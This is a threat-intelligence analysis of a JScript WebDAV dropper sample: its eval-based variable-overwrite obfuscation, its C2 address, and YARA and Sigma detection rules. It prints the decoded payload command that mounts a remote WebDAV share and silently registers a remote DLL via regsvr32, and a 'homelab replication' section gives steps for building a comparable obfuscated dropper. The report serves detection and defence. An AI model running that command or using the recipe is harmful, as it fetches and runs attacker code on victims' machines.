Unclassified JS WebDAV Dropper: fd437971 — 67th confirmed sibling, sequential variable-reassignment eval obfuscation

Executive Summary

JScript dropper (13 KB, .js extension) belonging to the unclassified-js-webdav-dropper family. A new obfuscation dialect: 51 variable assignments (sequential overwrite, last-wins) followed by eval() of a this[WScript][Shell](WScript.Shell)[Run](...) expression. Execution chain mounts a WebDAV share and silently registers a remote DLL via regsvr32 /s. No sandbox gates, no persistence, no decoy. Static-only (CAPE skipped JScript). ^[/intel/analyses/fd4379716372c8a310cd664a0401a08aa5d40f94e66b381fd8aacfc29b6efb7a.html]

What It Is

How It Works

1. Variable declaration and overwrite. Fifty-one variables are declared and assigned values in sequential order. Each variable is overwritten multiple times; only the final value (the one closest to the mnwme() call) is active at runtime. For example: rcdajliq="k";rcdajliq="p"; → final value is "p". ^[raw/analyses/fd4379716372c8a310cd664a0401a08aa5d40f94e66b381fd8aacfc29b6efb7a/bin:line1]

2. Eval wrapper. The function body is: function mnwme(){this[METHOD](ARG);} where METHOD decodes to eval via concatenation of four variables (jgruwdkhw+jilmfktx+sccxv+wrpiahnle = "e"+"v"+"a"+"l"). ^[raw/analyses/fd4379716372c8a310cd664a0401a08aa5d40f94e66b381fd8aacfc29b6efb7a/bin:line1]

3. Decrypted payload. The argument to eval() is itself a JS expression (also built from variable concatenations) that resolves to:

   this.WScript.Shell("WScript.Shell").Run("cmd /c cmd /c net use \\193.143.1.231@8888\DavWWWRoot\ && cmd /c regsvr32 /s \\193.143.1.231@8888\DavWWWRoot\23332118668340.dll", 0, false)
   

   The 0 (window style hidden) and false (don't wait) are standard across the family. ^[decoded payload via manual deobfuscation]

4. No anti-analysis. No debugger checks, no VM detection, no time-bombs, no connectivity checks. No sandbox gate. No persistence mechanism. No decoy process (no wordpad, no color f0). No PowerShell wrapper. One-shot execution.

C2 Infrastructure

The 193.143.1.0/24 subnet is new to this family. Prior C2 IPs were concentrated in 45.9.74.x, 94.159.113.x, and cloudslimit.com/dailywebstats.com. This is the first observed sample using 193.143.1.231.

Interesting Tidbits

• New obfuscation dialect: Prior siblings used dictionary lookup tables (36/62/100 entries), shared-prefix SET batch obfuscation, or natural-language phrase SET variables. This sample is the first observed using sequential plain-variable overwrite with eval() as the sole dispatch mechanism. The 51 variables are random lowercase strings (8–20 chars, no semantic content). ^[raw/analyses/fd4379716372c8a310cd664a0401a08aa5d40f94e66b381fd8aacfc29b6efb7a/bin:line1]
• No batch/polyglot layer: Pure JScript. No cmd /c wrapping except inside the Run() argument itself. No goto label, no %VAR% expansion.
• Nested cmd /c: The command string contains cmd /c cmd /c ... — a redundant double-invocation of the command interpreter, likely copy-paste artifact from a batch-template ancestor. The second cmd /c is sufficient; the first is a no-op.
• @ port separator: Uses the @ notation (\\host@port\share) for WebDAV UNC paths, consistent with the family but notable as a detection anchor.
• Payload filename: 23332118668340.dll — 14-digit numeric name, consistent with the family's DLL naming convention.

How To Mess With It (Homelab Replication)

To reproduce a comparable JScript dropper:

1. Write a payload string: var payload = "cmd /c net use \\\\<lan>@8888\\DavWWWRoot\\ && regsvr32 /s \\\\<lan>@8888\\DavWWWRoot\\payload.dll";
2. Break the payload into single-character chunks: var a = "c"; var b = "m"; ...
3. Overwrite each variable multiple times (the last assignment wins):

   a = "x"; a = "c";
   b = "y"; b = "m";
   

4. Wrap in eval():

   function run(){ this[a+b](...); }
   run();
   

5. Replace a, b, etc. with random lowercase strings (8–20 chars).
6. Remove all newlines to produce a single-line file.
7. Verify: open in a text editor — should be one long line with function mnwme(){...}mnwme(); at the end.

What you'll learn: This is a trivial obfuscation that defeats naive string matching but folds immediately to manual variable tracking or runtime capture. The value is understanding how last-wins assignment works as a deobfuscation puzzle.

Deployable Signatures

YARA Rule

rule js_webdav_dropper_fd437971 {
    meta:
        description = "JScript WebDAV dropper — sequential variable-reassignment eval dialect"
        author = "pp-hermes"
        date = "2026-07-14"
        sha256 = "fd4379716372c8a310cd664a0401a08aa5d40f94e66b381fd8aacfc29b6efb7a"
        family = "unclassified-js-webdav-dropper"
    strings:
        $s1 = "function mnwme(){this[" ascii wide
        $s2 = "DavWWWRoot" ascii wide
        $s3 = "regsvr32 /s" ascii wide
        $s4 = "@8888\\DavWWWRoot\\" ascii wide
        $s5 = "WScript.Shell" ascii wide
        $s6 = "193.143.1.231" ascii wide
    condition:
        filesize < 20KB and
        #s1 >= 1 and
        any of ($s2, $s3, $s4) and
        any of ($s5, $s6)
}

Behavioral Hunt Query (Sigma — process creation)

title: WebDAV DLL Registration via JScript Dropper
description: Detects JScript-based WebDAV dropper executing regsvr32 or rundll32 against a remote UNC path
detection:
    selection:
        - CommandLine|contains:
            - 'regsvr32 /s \\ '
            - 'regsvr32 /s \\\\'
            - 'rundll32 '
        - CommandLine|contains:
            - 'DavWWWRoot'
            - '@8888'
    condition: selection
falsepositives:
    - Legitimate WebDAV administration (rare)
level: high

IOC List

Behavioral Fingerprint

This JScript file is a single-line ASCII text with no line terminators. It defines a function mnwme() that wraps this[...](...) where the bracket expression resolves to eval via string concatenation of four variables. The argument to eval is a nested expression resolving to this.WScript.Shell("WScript.Shell").Run("cmd /c ...", 0, false). The command string mounts a WebDAV share at \\host@8888\DavWWWRoot\ and executes regsvr32 /s against a numeric .dll filename. No sandbox gates, no persistence, no decoy processes. One-shot execution with hidden window.

Detection Signatures

No capa output — file is JScript text, not a supported binary class. ^[sample fd437971/capa.txt]

References

• unclassified-js-webdav-dropper — Family entity page (66 prior siblings documented)
• webdav-regsvr32-dll-sideloading — Technique page for WebDAV + regsvr32 execution chain
• MalwareBazaar: fd4379716372c8a310cd664a0401a08aa5d40f94e66b381fd8aacfc29b6efb7a
• OpenCTI labels: js, malware-bazaar ^[sample fd437971/triage.json]

Provenance

• file.txt — file utility output
• triage.json — OpenCTI triage metadata
• metadata.json — Artifact source metadata
• capa.txt — Mandiant capa (refused: unsupported file type)
• dynamic-analysis.md — CAPE skipped (JScript not a supported binary class)
• Manual deobfuscation via Python3 regex tokenization of the raw script content
• Script decoded in two passes: (1) extract last-wins variable assignments, (2) decode eval argument via variable-name replacement and + removal
• All tool versions as captured in the triage pipeline (May 2026 snapshot)